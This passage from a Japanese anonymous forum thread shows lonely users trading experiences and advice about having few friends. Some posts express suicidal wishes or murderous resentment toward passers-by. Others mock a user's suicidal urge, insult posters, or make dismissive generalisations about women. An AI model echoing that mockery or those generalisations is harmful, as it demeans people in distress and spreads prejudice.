すぐに180度違う話題をしてくるんです。ぜんぜん関係ない自分の話を。
え? 完全スルーですか、そうですか、みたいにあえて元の話題に戻すのも疲れる感じ。
一言で言えば、とにかくいつも自分の話を聞いて欲しいみたいで。
悪気がないのはわかるんですが、単に自分の話を聞いてくれる人がいるなら別におれでなくても誰でもいいようで、
こっちの近況などに少しも興味がないとわかると、何のためにおれはいるんだろうって虚しい気持ちになる。
その人の仕事でできない作業も、おれに丸投げしてやらせるし、いつも形を変えて利用されてる...
(ちなみに会社は違う。)

でも、それでも情けない話、人との交流が満足できるほどあるわけではないので、
利用価値があるならまだ使われているだけマシだと思って、切り捨てたりはできないです。
いてもちっとも満たされないばかりか虚しくなるばかりだけど、なくなったとしたら、より孤独度が高まりそうで怖い。
傲慢なことは承知の上であえて書けば、もしも満足するほど友人がいたら、
普通に切り捨てたいと思うだろうなあ。

貧乏人が、もったいない根性で、水が漏れまくる割れたグラスを捨てられない、みたいな。

おれも自分のことばかり書いてしまった(;´Д`)
ドライブ? に誘うけど冷たい人は、利用するしないの前に、礼儀が少し足りないのかもしれないね。
(友達を悪く言って済まない。)
道を間違えたくらいで相手の気を悪くするほど冷たくあしらうことは、いくら仲のいい友達どうしでも
しちゃいけないと思うよ。何間違えてんだよバーカって、軽口叩き合って笑える空気でもないみたいだし。

冷たい仕打ちは受けるけど一緒にドライブできることと、
一人でドライブするけど冷たいあしらいは受けないことを天秤にかけて、
どっちかいいかを選ぶしかないですね。

485 :マジレスさん:2006/03/01(水) 11:05:38 ID:PyadEvB0
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486 :マジレスさん:2006/03/01(水) 11:06:09 ID:PyadEvB0
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487 :マジレスさん:2006/03/01(水) 11:07:02 ID:PyadEvB0
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488 :マジレスさん:2006/03/01(水) 11:28:30 ID:NFMaqdwu
テメエがうざい
消えろ


489 :マジレスさん:2006/03/01(水) 11:47:24 ID:PyadEvB0
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490 :マジレスさん:2006/03/01(水) 11:50:45 ID:PyadEvB0
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491 :マジレスさん:2006/03/01(水) 11:51:31 ID:PyadEvB0
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492 :マジレスさん:2006/03/01(水) 12:02:43 ID:PyadEvB0
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493 :マジレスさん:2006/03/01(水) 12:06:40 ID:PyadEvB0
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494 :マジレスさん:2006/03/01(水) 12:09:18 ID:VfB78hBp
おまえ、やめねーと通報するよ?

495 :マジレスさん:2006/03/01(水) 12:09:27 ID:PyadEvB0
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496 :マジレスさん:2006/03/01(水) 12:13:56 ID:PyadEvB0
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497 :マジレスさん:2006/03/01(水) 12:15:37 ID:PyadEvB0
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498 :マジレスさん:2006/03/01(水) 12:19:24 ID:PyadEvB0
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499 :マジレスさん:2006/03/01(水) 12:23:20 ID:PyadEvB0
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500 :マジレスさん:2006/03/01(水) 12:27:00 ID:PyadEvB0
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501 :菅ちゃん:2006/03/01(水) 12:33:51 ID:hXZVtK4X
何があったか知らんが落ち着け(゚Д゚;)

502 :マジレスさん:2006/03/01(水) 12:35:30 ID:MkXyAS2o
ほっとけ〜、

503 :マジレスさん:2006/03/01(水) 13:19:45 ID:+82WqJ3n
今私が死んでも葬式には職場の直接の上司しか来てもらえないだろうな。

504 :マジレスさん:2006/03/01(水) 13:41:51 ID:avxMUvc+
友達がいなくて寂しいというよりは、一人で行動してる自分が世間から冷たい目で見られてることの方が辛い。
でも、誰かと一緒に遊んでも、その人に嫌われたらと思うと辛いし気を遣うから、一人で気楽に遊んでた方がいい。

「寂しい」っていうのが原動力だとしても、ここのスレの人みたいに、
それをなんとかしたくて行動している(ここに書き込むのも行動の一つだと思う)人がうらやましい。
自分には原動力がない。

505 :塞翁が馬:2006/03/01(水) 13:59:34 ID:cbpUHWVM
>>504
出来ることから始めればいいんじゃないかな。
考えてたって何も始まらないもの。

一人でいた方が楽なら、一人を選べばいいだけ。



506 :塞翁が馬:2006/03/01(水) 14:01:34 ID:cbpUHWVM
>>504
出来ることから始めればいいんじゃないかな。
考えてたって何も始まらないもの。

一人でいた方が楽なら、一人を選べばいいだけ。



507 :マジレスさん:2006/03/01(水) 15:08:15 ID:bpCAGjKZ
万が一知ってる齋藤だったら


死んだり殺されようとするまえに
性格直せっていいたいな

508 :マジレスさん:2006/03/01(水) 15:13:36 ID:TcJ10bgQ
気軽に遊べる友達なんかいないからどこ行くにも一人
受験勉強も入試も一人でやった
今日卒業式だったんだけど、普段から馴れ合いのできる友達がほとんどいないから、
記念写真とかほとんど撮れなかった。
人付き合いうまい子は式が終わってもいつまでもいろんな友達のとこ行ったり
自分のところには誰も来てくれない
親も理解してくれない
いつも一人
受験もビミョス
しにたい

509 :塞翁が馬:2006/03/01(水) 15:32:02 ID:cbpUHWVM
>>507
その齋藤はニューハーフですか?

510 :マジレスさん:2006/03/01(水) 15:51:11 ID:Mt6MTC6e
>>507
だから一人

511 :マジレスさん:2006/03/01(水) 15:51:23 ID:AQW607Pr
齋藤ってこのスレに二人いるみたいにゃ。
(もう一人の齋藤)とニューハーフの(齋藤)


512 :マジレスさん:2006/03/01(水) 15:57:05 ID:yWS87VAq
一番最初のスレによくいってたけど、趣旨が変わったのか

513 :塞翁が馬:2006/03/01(水) 16:11:53 ID:cbpUHWVM
>>510

514 :塞翁が馬:2006/03/01(水) 16:12:57 ID:cbpUHWVM
>>510
市ねって書き込まれたからじゃないの?

友達できた♪

515 :マジレスさん:2006/03/01(水) 16:26:23 ID:r3lgyZm6
コテばっかりのスレ

516 :塞翁が馬:2006/03/01(水) 17:08:46 ID:cbpUHWVM
∠ ̄|〕ーーーーーーーーーーー====≡≡⊃
         Vヽ シュ━━━━━ッ!!!! >>515
         」 L
       /  \
       (  ´_ゝ`) 文体からみてVIP臭いので、
       |   /   ちょっと消臭しますよ・・・
       | /| |     
       // | | 
      U  .U 


517 :マジレスさん:2006/03/01(水) 17:21:52 ID:r3lgyZm6
VIPじゃないのに・・・・ww

518 :ピエロ:2006/03/01(水) 17:32:35 ID:T9GVSb0Z
昨日現れたキャツらはVIPだったのサァー。

519 :マジレスさん:2006/03/01(水) 19:11:04 ID:2WpwXdYC
>>484
なんか関係が微妙だね、俺の話にコメント無いの?みたいな。
なんか似てる気がするけど、
気を許せない、友達というのかもよくわからない人と
付き合ってそんで利用されてるかもとか思ったり、微妙に気も張り詰めてるような関係は
やっぱ違う気がするよね。自分の話ばっかで気づかいとかなさそうだけど。
俺はドライブというかどっか行かないか誘われたりして
行くんだけど、道間違えて馬鹿だなーって空気じゃないし、やっぱ冷たいな。
仕事まる投げとか利用されて付き合ってても、この先いい関係になる気配もなさそうだよね、
そういう人とはキッパリ切って違う人メルともとかから探す方がいいのかもしれんね。
利用価値とかって別に誰とも関わらないからってそういうのがないわけでもないし、
というかそういうの考えたことないけどなぁ。
俺も相手との関係が微妙によくなったのかなとかそういう風に思うことあっても
やっぱ心開いてっていう関係にそいつとなれるとは思えないし。利用されるだけ損だよなぁ。
俺は一人ドライブの方がいいな。

520 :【はろ】 ◆ATh.THfhMU :2006/03/01(水) 20:59:04 ID:TCEZRhIY
やあ
齋藤君

521 :ピエロ:2006/03/01(水) 23:34:15 ID:T9GVSb0Z
サイトーそいつをよこせぇぇぇぇぇぇー

522 :マジレスさん:2006/03/02(木) 01:03:11 ID:AjAc+ahY
齋藤消えた?

523 :マジレスさん:2006/03/02(木) 02:03:24 ID:AjAc+ahY
齋藤もこないから過去ログよんでみたよ。
なんていうか、このスレの住人って小難しく考えてるよね。
>>1の掲示板もいってみたが長文ばかりで、疲れた。

524 :くまちゃん ◆Rcaz7RUzJM :2006/03/02(木) 02:08:50 ID:T/6+oMGR
くまりん。くまりん。くまりん。

525 :マジレスさん:2006/03/02(木) 02:48:35 ID:0UsiQn7P
>>521
ナカーマ…ハケーン!!!!

526 :マジレスさん:2006/03/02(木) 02:50:17 ID:Wpw+o3AI
笑い男なんて知りません

527 :マジレスさん:2006/03/02(木) 02:55:06 ID:0UsiQn7P
個別の11人ってなんや。

528 :マジレスさん:2006/03/02(木) 03:24:36 ID:AjAc+ahY
???

529 :マジレスさん:2006/03/02(木) 06:25:12 ID:8Nf9sg+k
ウイルスだよ

530 :齋藤:2006/03/02(木) 09:33:09 ID:VoR6f9i6
何か用でしょうか。

531 :ピエロ:2006/03/02(木) 12:50:18 ID:Qlz0Ukrk
齋藤さんもう殺してくれ〜という衝動は収まったのサァー?
静岡ではくつろげたのサァー?

532 :マジレスさん:2006/03/02(木) 12:50:47 ID:AjAc+ahY
偽物乙

533 :齋藤:2006/03/02(木) 13:19:34 ID:VoR6f9i6
>>531

はい 今は落ち着いてます。
3年に一回くらい、そういう衝動がきます。
誰でもつかれるときはありますよね。
静岡ではくつろげませんでしたが、
自分に甘んじないで生きていくことを再決心しました。


>>532
はい。偽物です。
ニューハーフの時点でもう偽物ですから。


534 :マジレスさん:2006/03/02(木) 13:37:44 ID:DMotZwTs
>>523
見なければいい。

535 :マジレスさん:2006/03/02(木) 13:49:00 ID:LKyoGFfB
齋藤きんもーっ☆

536 :マジレスさん:2006/03/02(木) 15:06:37 ID:AjAc+ahY
齋藤は自殺しに静岡?にいったんか?
で、死ねなかったの?
ださっ

まっがんがっていきろー
安定剤のむと楽になるよ

537 :齋藤:2006/03/02(木) 17:05:23 ID:VoR6f9i6
>>536
静岡の知人に会ってきた
安定剤はのまない


538 :ピエロ:2006/03/02(木) 17:19:00 ID:Qlz0Ukrk
>>533
自分のペースで生きられたらどれだけ楽になるかピエロはそう思っているサァー
あまり思い詰めないように肩の力を抜いて時には立ち止まることも必要サァー
自分に厳しすぎると疲れてしまうので時には妥協を・・・・・サァ

539 :マジレスさん:2006/03/02(木) 17:19:12 ID:AjAc+ahY
どこにすんでるんだにゃ?
静岡にわざわざ会いにいく知り合いがいるんじゃまいか?
わしにはわざわざ遠くまで会いにいく知り合いはいないぽ

540 :マジレスさん:2006/03/03(金) 04:32:49 ID:oZHLlUwP
>>480はピロウズ好きなのか?


541 : :2006/03/03(金) 12:28:00 ID:OsC8tDyJ
>>540
ピロウズはいつも元気をくれる。

542 :マジレスさん:2006/03/03(金) 13:50:41 ID:kGP0eDd1
ルカさんと涙目のルカさん
斉藤さんともう一人の斉藤さん
とか分かりにくいコテハンはやめてもらいますか?

543 :齋藤:2006/03/03(金) 16:24:44 ID:3vMU3L9W
>>539
日本に住んでいます。
静岡には永遠の恋人がいるんです。

544 :おじさまコンプレックソ:2006/03/03(金) 16:32:55 ID:IC8NQPJi
ウチの犬の呼び名じゃない名前はルカ。
偶然でびっくり・・・
その犬の写真うpしたいけど、怖くて出来ません
変な顔だし、現物も変だし、自分すら変

545 :マジレスさん:2006/03/03(金) 17:05:01 ID:IC8NQPJi
さいとーぉ。生きてますか。
わたしはコンプレックスで生きています。

546 :マジレスさん:2006/03/03(金) 17:06:07 ID:u1koxs0S
多分自分は人見知り

547 :齋藤:2006/03/03(金) 17:25:26 ID:3vMU3L9W
>>545
生きてます。
コンプレックスは克服して下さい。

548 :ピエロ:2006/03/03(金) 17:42:23 ID:pOb3Qw4M
気合いだぁーおいおいおい。

549 :マジレスさん:2006/03/03(金) 18:20:32 ID:kGP0eDd1
どうすればコンプレックスってかいしょうできるのかな?

550 :マジレスさん:2006/03/03(金) 18:27:01 ID:IC8NQPJi
長い道です。
道を作りましょうか。

551 :マジレスさん:2006/03/03(金) 19:18:49 ID:pY1vnlLk
おう!サイトゥ

552 :ピエロ:2006/03/03(金) 19:51:18 ID:pOb3Qw4M
>>549
徹底的に努力しかないのサァー。
コンプレックスは少なからず誰にでもあるものサァー。だからこそ努力するのサァー。
少しでも自分のことを信じられるように。コンプレックスを克服できるかもしれない。
克服できるだろうって。少しずつ自分を信じられるようになってそしてーコンプレックス
であるハズがない。というところまで身体と精神を作り込んでいくのサァー。
でもここに挙げたのはのは勉強や運動のように成果がでるものを対象にしてるサァー。
もし外見やピエロを含めここにいる人達のように友達ができない人達に対する。
なんというかサァー他人があってはじめて克服できるようなものもあるから
何ともいえないサァー。ちなみに>>549のコンプレックスはなんなのサァー?

553 :66号:2006/03/03(金) 23:02:20 ID:IC8NQPJi
ぐんそーさぁん、ボクゥ、たまには一人っきりで映画とかみたいですぅー
軍人とメガネと忍者、それから盗人キツネとイノシシ・・・
もうわからないですぅ・・涙ばかり出るですぅ。

斎藤さんと、ピエロさんはあんまり真似をシナイデくださいィ!!
怒ったですぅぅぅ!いざっ巣っすめーーーーぇぇぇぇでーずぅぅぅぅぅ!!!!
怒りすら出ないデズゥゥーーーー!!
食いしばってぃださいまっぜェェェ工エエェ

554 : :2006/03/03(金) 23:47:36 ID:OsC8tDyJ
>>552
なかなかイイこと言うじゃない。
顔や外見なんて、自分次第でいかようにも変えれるからね

555 :マジレスさん:2006/03/03(金) 23:49:41 ID:OZ2BhJQE
一人ってかっこいい。人に「お前友達少ないよな」とか言う奴ほど大してqualityの高い友達はいない。

556 :マジレスさん:2006/03/04(土) 00:27:11 ID:1pPl9PIx
>>1の掲示板をみた。
女は交尾を許すとか、ルカって人の書き込みはよんでて、気持ち悪かった
なんか自分の考えを押しつけてきそうで友達できないのわかるし、
前スレでも、結婚ドタキャンされたとか書いてたけど同じ女として付き合っても結婚はしたくないのわかった気がするよ

557 :ピエロ:2006/03/04(土) 00:32:50 ID:JUf026vs
>>553
66号さんピエロは一人で映画を見に行くサァー。
軍人、刑事、騎士、錬金術師。いろいろ見たサァー。
ナイトショーがお勧めサァー。ピエロみたいに一人の人が多くてしかも料金も安く
なるところもあるからお得サァー。
なにがあったかわからないけど感情を表に出すことも大事なのサァー。

558 :マジレスさん:2006/03/04(土) 00:47:02 ID:hXI8Pk4j
友達が欲しいって発想の前によく考えてみなよ。 自分の自由を邪魔する奴ばっかじゃんか?(それは自分自身の場合もある)そっちにムカつく発想に切り換えていいんだよ!そして行動。人生全部邪魔される覚えないじゃん。必ず真の友達は出来る。 あ、ピエロ氏にはげ共感です。

559 :ルカ ◆IOAAALucaM :2006/03/04(土) 01:01:29 ID:aZl5Jvsi
>>519
まあ書いた後にやや自己嫌悪気味です、陰口のようになってしまった。
コメントなしでも、同じ時間は共有してくれる人だし... ふう、難しい。
仕事丸投げは、ここで文句言いうくらいならもう断るのがいいな。。。

その人は軽口叩き合う空気でなく、素で冷たいんですか。
心を開けず上辺だけ? なら持続させるのはつらいだろうし、
友達が減るのは残念だけど、ほどほどのつきあいの方がかえって不快感がなくなるかもね。

>>544
それ前も言われたような気が・・・
おれは聖書からとったんだが、犬につける人が多いようでU゚∀゚U
おたくのルカはぶちゃいくなんですか、可愛がってあげてくださいね(・∀・) 写真うp汁!

560 :ルカ ◆IOAAALucaM :2006/03/04(土) 01:05:18 ID:aZl5Jvsi
>>556
いちばんいいエサをもってきたオスにだけ交尾をさせてやる
メスの昆虫の話など、誰でも知ってると思ってたんだけど、そうでもないのか。
ヒトだって、自分の気に入った男だけに体を許すんじゃないのかい、普通は。
あるつがいに注目したとして、いかにオスがメスを選んでパートナーにしたように見えても、
実際は、求愛はしてきたけれども気に入らないオスには交尾を許さず、
自分の気に入ったオスにだけ選択的にヤラせてるでしょ。

デートで必ず全額女が払ったりするのは不自然だと多くの人が思うのはなぜなんだろうね。
完璧に割り勘にすれば、たとえ相手の男には言わずとも多くの女がブーブー不満を漏らす理由はなんだろうね。

気持ち悪いと感じるのは勝手だが、本当のことに蓋をしたいならすればいいよ。
取引していないように見えるカップルだろうが夫婦だろうが、同じ生物のルールには逆らえないって事実が
そんなに不愉快なのかね。
そういう取引ではなくて、愛情とやらかなり何を指すのか不透明なものだけの交換でカップルや夫婦が
成り立っているとでも? 世間で恋愛と思い込んでいるものなんて明治以降につくられた制度でしかないんだよ。
・・・と書いても何のことやらピンとこないんだろうな。ま、いいや。
表立って口にはしなくても、認めたくない人がやっぱり多いんだな、不思議だ。
おれはただ本当のことを書いただけであって、気持ち悪いと言いたいなら、
生物をお創りになられた神にでもしてくれ。

561 :マジレスさん:2006/03/04(土) 01:32:16 ID:1pPl9PIx
そーゆーことではなくて、掲示板に常連の女の子が何人も書いてるのによく雰囲気よまないでかくなぁと。
気付かないならしょうがない。
気付かないうちにセクハラしているタイプだよ。
傲慢なところを直さないとあなたがつらいだけだと思ってマジレスしてみた

562 :ルカ ◆IOAAALucaM :2006/03/04(土) 01:37:48 ID:aZl5Jvsi
空気とかいうものよりも議論の内容を優先させていました。
その点で不快に感じたならごめんなさい。
そしてアドバイスありがとうございます。
以後気をつけます(*_ _)人ゴメンナサイ

563 :マジレスさん:2006/03/04(土) 01:43:41 ID:P+cPwrRV
なんかこないだクラス奴らがパンチラの為だけに外に外出してるって言ってた……明らかに変態なのに何故彼の周りは友達沢山いるんだろう

564 :ルカ ◆IOAAALucaM :2006/03/04(土) 01:56:56 ID:aZl5Jvsi
すでに処刑された宅間死刑囚は、池田小の子どもを無差別に殺した鬼畜にもかかわらず、
刑務所の外からファンレターが大量に届き、結婚を申し込む女が殺到した。
嘘つきで立場の弱い部下をいびってる社内の人も、下からの批判を巧妙に握りつぶして、
どういうわけか友達には恵まれてるよ。

人を惹き付ける力は、本人が不道徳かどうかに関係ないんだよな〜
クズでもやりようによっては人が寄ってくる。

そう思うと希望が湧いて・・・こないかw

同じことをやっても許される人と、許されないで叩かれる人が出てくるし。
それは世間が好き勝手に決めることだから、自分のコントロールが効かない。

565 : :2006/03/04(土) 02:26:12 ID:ft1IWWJY
>>560

生殖における『卵子』と『精子』の運動が示すとおり、『生まれる』という事は
『選ばれる』ということだ。そして、『選ばれる者』は常にそのぶつかりあう競争で
さえ、彼を取り囲む者たちによって護られ後方から押し上げられているにすぎない。

566 :ルカ ◆IOAAALucaM :2006/03/04(土) 02:37:36 ID:aZl5Jvsi
なんかそういう話がセクハラになるらしいよ。
生物の話をしていて、社会学の話をしていて、セクハラだってさ。やれやれ。

生物の講義中にもセクハラです!って叫んでいそうだ。
自分が面白くないことがあるとすぐセクハラにすり替えて叫ぶ頭の弱い女が増えたのは困ったことだ・・・

567 :涙無し66号 ◆VEFjqgqboU :2006/03/04(土) 04:16:56 ID:91gx+lKw
ルカ、もういいなじゃいか。
28号がおー!とかアムロ逝きますだったかなぁ・・・
そういうの思い出します。

どこかの独りの女と独りの男と日本とかの集団行動
まだ、悲しいですか?
映画。相談ではなくて鬱憤になってますよ。
私も少しかなしいケロケロ。

568 : :2006/03/04(土) 04:27:25 ID:ft1IWWJY
>>566
かん違いしてすぐ男女同権を叫ぶ女にも困る。

569 :マジレスさん:2006/03/04(土) 11:46:51 ID:1pPl9PIx
議論を優先ってあるけど
誰も聞いてないのに
自分のメモ書きを長々書いてあるのが
気持ち悪いよ。
誰かに聞かれて書くならわかるけど
突然社会学とか生物学で交尾とか言われてもキモい。

570 :マジレスさん:2006/03/04(土) 12:13:02 ID:X+qb7M5H
あのさ…もう一度原点に戻らねーか?

>友達いなくて買い物・映画・旅行いつも一人

>1 名前:マジレスさん[] 投稿日:04/12/05(日) 20:31:43 ID:hK+FX+4O
>寂しい・・・・このままでいいのでしょうか?

571 :ピエロ:2006/03/04(土) 13:13:00 ID:JUf026vs
ピエロは一人焼き肉は行けないサァー。肉を焼いているときの周りの視線が痛くて
痛くて、けがをしてしまいそうサァー。焼き肉個室ありますみたいなのを作れば
いいのにサァー。映画にしても、ライヴにしてもマイノリティが迫害される環境が
減ればいいのにサァー。

572 :66号:2006/03/04(土) 15:07:06 ID:91gx+lKw
66号は好きな歌さえ歌えない。
リモコンが動かないからだ。
どこにもないからだ。アムロもいないんだ。
このままでは良くない。皆寂しいのは大変なんだ。
誰でもいいんだ。でもよくないんだ。

573 :マジレスさん:2006/03/04(土) 16:39:44 ID:2B1R4qXd
>>570
住民がメンヘラーみたいな奴にすっかり入れ替わっちゃったね。

574 :ルカ ◆IOAAALucaM :2006/03/04(土) 17:21:23 ID:aZl5Jvsi
>>504
おれも20代前半の間は、友達がいない自分に対する冷ややかな目が痛くてしょうがなかった。
いまでもちょっぴり痛いことはある。だいぶ気にならなくなったけど。
あれは本当に辛いものですね。
過去に行ったオフで、自分より年上で友達が少ないと言っている人は、
自分に友達が少ないことを恥ずかしく思ってたりする段階をとうに過ぎていて、
そういうのは外から見ると、とっつきやすく感じた。自分を受け入れられている人は、
そうでない人より付き合いやすいっていうか。これはこれでヒントになったような気がします。

結局、自分みたいに学校や会社で「こいつと仲良くなりたい」という気持ちがほとんど起きず、
表面上のスキルでパッと器用に友達をつくれる対人能力もない人間は、
仲良くなれる人間に遭える可能性が普通の人より低い(´(・)`)
だから自分が普段いる生活の場以外で仲間を増やすしかないんだなという結論に至りました。
しかも不器用で打率が低い分、かえってそれなりの社交の場数を踏まないとダメなんだな、と...

575 :ルカ ◆IOAAALucaM :2006/03/04(土) 17:21:57 ID:aZl5Jvsi
いくつかコメントしたいと思っていた書き込みに返事できなかった。
友達がいないことについての話に戻そう。
話が脱線し過ぎた。

>>508
おれも大学の卒業式は一人でしたよ。
卒業式はいい思い出の涙を流す場でなく、
苦痛を味わった空間から逃げ出せてスッキリする日でした。
ようやくここから出られてせいせいするぜ、とw
写真も撮らなかったなあ。
この春からの新しい一歩がどんなものであれ、幸あれ(゚∀゚)

>>523
読みにくくて申し訳ない。
一行二行のレスで書いてしまえば、愚痴を吐くだけのスレで終わってしまいそうで、
言いたいことを正確に書こうと思えばどうしても長くなってしまう...
ついついメール一通書くつもりで書き込みしてしまいます。
他の板にも友達がいない系すれは山ほどあるのだが、
こういうスレがあってもいいかな、と。
小難しく考えて袋小路に入るのは避けたいです。
車の運転と同じで、車の仕組みなんか知らなくても動かせさえすれば
(人との交流に満足できる状態になれば)OKなわけで。
雑談も楽しいんですけどねw

576 :ルカ ◆IOAAALucaM :2006/03/04(土) 17:40:28 ID:aZl5Jvsi
>>558
わずらわしい集団とたわむれるよりは一人で行動したい人間の自由を侵害する人には、
少し自由を制限させたいですね。
この手の侵害をする人は多いし、しかも無罪放免だ。

>>567涙無し66号さん
はじめまして。
鬱憤になってました。
悲しい思いをさせてごめんなさい。
アニメが好きなんですか?
おれはアニヲタがうらやましいです。いやヲタ全般がうらやましいです。
いつも同人の仲間、友達に囲まれてるから。

>>568
男は男らしく生きてこ〜

577 :ルカ ◆IOAAALucaM :2006/03/04(土) 17:41:17 ID:aZl5Jvsi
「独り者」に優しい日本の社会(上)
http://hotwired.goo.ne.jp/news/20060303204.html
(携帯)
http://hotwired.goo.ne.jp/i/news/20060303204.html

イギリスで1人で映画を見に行く? 寂しい哀れな奴。
ニューヨークで1人で映画?質の高い「自分の」時間を楽しんでいるクールな人。
イギリスで1人でランチ? どう見ても友達のいない嫌われ者。
マンハッタンで1人でランチ?魅力的で、ちょっとミステリアスな雰囲気さえ漂う


外国でも、一人行動にためらう人はおおいんだね〜
日本の料理店やマンガ喫茶をとりあげて一人行動が気軽にできるいい国だと持ち上げてるけど、
外国よりはその点では恵まれてるのか...
一人用のお店は充実してるかもしれないけど、
それでもやっぱり友達の悩み自体は決して消えないんですけどね>書いた人

578 ::2006/03/04(土) 21:57:14 ID:mBFxB0Yn
何で孤独ってこんなに苦痛なんだ!?街歩いてるグループカップル家族見ると殺意を感じてしまう。

酒が無かったら今頃死んでるな

579 :ピエロ:2006/03/04(土) 23:30:31 ID:JUf026vs
ルカさんは本音と建前が嫌いなタイプサァー?暗黙の了解というかお約束が
許せないみたいなそんな感じがしたサァー。

580 :マジレスさん:2006/03/04(土) 23:34:00 ID:zy9AamgA
自分を鍛える一人旅なら分かるが遊びの旅行に一人で行って楽しいか?
俺は吉野屋すら一人では入れんが

581 :マジレスさん:2006/03/04(土) 23:35:29 ID:6hrVcfPR
>>578
寂しいのか
恋人いないのか


582 :ピエロ:2006/03/04(土) 23:44:28 ID:JUf026vs
>>580
一人でしか行けないとこもあるから楽しいサァー。しかも自分のペースで
行けるから気楽でいい反面一人で行くと制限されるとこもあるから人に
よってまちまちサァー。
吉野屋ぐらい一人でいこうサァー。一人で来ている人はたくさんいるサァー
むしろ吉野屋は一人でいくとこサァー

583 :66号:2006/03/04(土) 23:57:40 ID:91gx+lKw
一人で寝たい
ルカさんは知らない
焼肉なら独りで頑張れば・・・出来るか( ´∀`)?

584 :ピエロ:2006/03/05(日) 00:01:43 ID:1A3QZK47
一人焼き肉頑張ってほしいサァー。一人焼き肉オーケーならどこいっても
通用できるのではとピエロは思うほど壁は高いサァー。

585 :りんりん:2006/03/05(日) 00:23:47 ID:CcKmrePq
>>322のやつほぼあてはまったよ。
でも、友達いるお・・・・
奇人変人同士で友達になれた良い例なのだね・・・・
良かった・・・

586 :66号:2006/03/05(日) 00:23:49 ID:MAUGnkT9
やはり流行り病は誰だって怖い!でも

ここまで伝染してるの?

587 :りんりん:2006/03/05(日) 00:24:32 ID:CcKmrePq

アンカがつけれないよ
ごめんよ


588 :ピエロ:2006/03/05(日) 00:39:47 ID:1A3QZK47
>>585
たぶんりんりんさんと波長の合う人だったのサァー。末永く大切にしてほしいサァー


589 :65くらい:2006/03/05(日) 01:33:09 ID:MAUGnkT9
知らなかった、すいません(´・(ェ)・`)←熊です!!

590 :りんりん:2006/03/05(日) 12:36:32 ID:CcKmrePq
りんりんには、昔からの幼馴染が1人、よく分からないけど仲良くなった人2人、
の計3人の友達がいるよ。
世間的に、友達が3人しかいないのはきっと少ない方やと思うよ。

りんりんも、友達がほしくて無理してた時期があったよ。
りんりんは、人との距離のとり方がよく分からなくて、
周りの人みたくうまく人の輪に溶け込むことができなかったりだよ。
皆さんみたいに、表面上のお付き合いとかもあんまり上手くできなくて、
悩むこともいっぱいだよ。

でも、どこかには、きっと気の合うお友達っていると思うお。
このりんりんでも、お友達ができたんやもん。
みんなにもできるお。

自分の大事なところ
を変えてまでお付き合いする必要はないけど
少しだけ自分の行動や口調や表情、
を振り返ってみるのは大事かもしれないよ。



591 :マジレスさん:2006/03/05(日) 13:10:33 ID:huzZd5OY
りんりん、アンカーは半角にすればできるよ。
りんりんは、〉〉が全角だったから。
りんりん、がんがれ。

592 :りんりん:2006/03/05(日) 13:15:24 ID:CcKmrePq
>>591

親切な人ありがとう!

593 :江田島平八:2006/03/05(日) 13:31:49 ID:yBlL9BVF
江田島平八には、昔からの幼馴染が1人、よく分からないけど仲良くなった人2人、
の計3人の友達がいるよ。
世間的に、友達が3人しかいないのはきっと少ない方やと思うよ。

江田島平八も、友達がほしくて無理してた時期があったよ。
江田島平八は、人との距離のとり方がよく分からなくて、
周りの人みたくうまく人の輪に溶け込むことができなかったりだよ。
皆さんみたいに、表面上のお付き合いとかもあんまり上手くできなくて、
悩むこともいっぱいだよ。

でも、どこかには、きっと気の合うお友達っていると思うお。
この江田島平八でも、お友達ができたんやもん。
みんなにもできるお。

自分の大事なところ
を変えてまでお付き合いする必要はないけど
少しだけ自分の行動や口調や表情、
を振り返ってみるのは大事かもしれないよ。

594 :なな:2006/03/05(日) 16:44:49 ID:G02By/7Q
私の悩みもきいてください・・・

595 ::2006/03/05(日) 18:02:11 ID:R1zzszKC
私も買い物は一人だ…
とゆうのも友達が少ない。三人くらいしかいなくて、友達とももう連絡もとってないから、毎日家でヒキコ…バイトも辞めてしまった。彼氏は友達が凄く多いので裏山シス…
気の会う友達ほし…
極度の人見知りだから話せないし見た目が駄目なんかな。
あぁ寂しい…

596 :なな:2006/03/05(日) 23:11:29 ID:G02By/7Q
私の悩みは私の悩みをきい・・・

597 :ルカ ◆IOAAALucaM :2006/03/06(月) 02:41:06 ID:fFHyOy5l
>>579ピエロさん
掲示板で書いたことをさして言ってるのかな?
建前も社交辞令も仕事や義務的なつきあいでは使わざるを得ないけど、
どうも体がむずがゆくて辛くなってくるんです。
ああ、できるなら本当のことを言ってしまいたい、と。
すらすら撒き散らせられる人は社交スキルも高いとみなされるのでしょうが。

>>595
過去スレにいたAちゃんかな?
アメ車購入の夢へは近づいたかな。
社会との接点が切れると孤独感も増すと思う。いやおれがそうなんだけど。
仕事をしていても明らかに、平日と、一人で過ごす土日の精神状態が違うので。
仕事探しと友達を増やすこと、両方がんがってほしいです...

>>596ななさん
書いてくれれば誰かが必ず答えますがな。
ためらわずに吐き出してみれ。

598 ::2006/03/06(月) 02:50:00 ID:qTA1Amvt
私は甘えてただけなのかな…と少し思った。

でも、友達の話やテンションに付いていけず

孤立してる自分がいる。

正直 友達はほしい。

でもどうしたらいいかわかんない。
どうゆう話したらいいのかわかんない。

学校が嫌です。

599 :ルカ ◆IOAAALucaM :2006/03/06(月) 03:28:31 ID:fFHyOy5l
>>598
元気な人、活発な人がうまく立ち回りやすいというのは事実としてあると思う。
仮にそういう人(付いていけない人)に無理やり合わせたとしたら、
そんなに楽しくないばかりか、譲る部分が多くて疲れると思うんだよね。

あまり好きな言葉ではないけれども、スクールカーストのてっぺんにいる連中が、
偉いとも正しいとも優れているとも全然思わない。
テンションの高い人間は迷惑で、彼らは暗に明るさや元気や軽薄さを周囲の人間に強制するので
とにかく目障りだとおれは思ってた。

自分に合う人を学校外で見つけるのも手だと思うんだけど、
どんな話してるのかな、その周りの人たちは。
話題のズレは、付き合いにくさにつながるんだよな・・・

600 ::2006/03/06(月) 03:45:36 ID:qTA1Amvt
レスありがとう

ぶっちゃけ
みんなテンション高すぎだし

テストになれば
勉強勉強だし

なんか よくわかんない


でももしその人達と距離置いたら

私は誰とも仲良くなれない。

自立できない自分

最悪

601 :ルカ ◆IOAAALucaM :2006/03/06(月) 04:02:19 ID:fFHyOy5l
>>600
みんなテンション高すぎですか。
うーん、なんとなく絵が浮かぶ。
自分と同じくらいの、穏やかな人は学校にはあまりいないのかな。
付いていけないと感じる人たちと完全に縁を切ってしまうと孤立してしまうなら、
600さんが言うようにたしかに危ういな...
利用するというか、つるんでいるように見せるのが安全で、完全に切るのが怖いなら、
しょうがなく付き合っていかざるを得ないかもね、卒業までの期間限定で。

勉強はがんばっとけ!
社会に出たら、明るさ、テンションの高さだけでは評価されない。
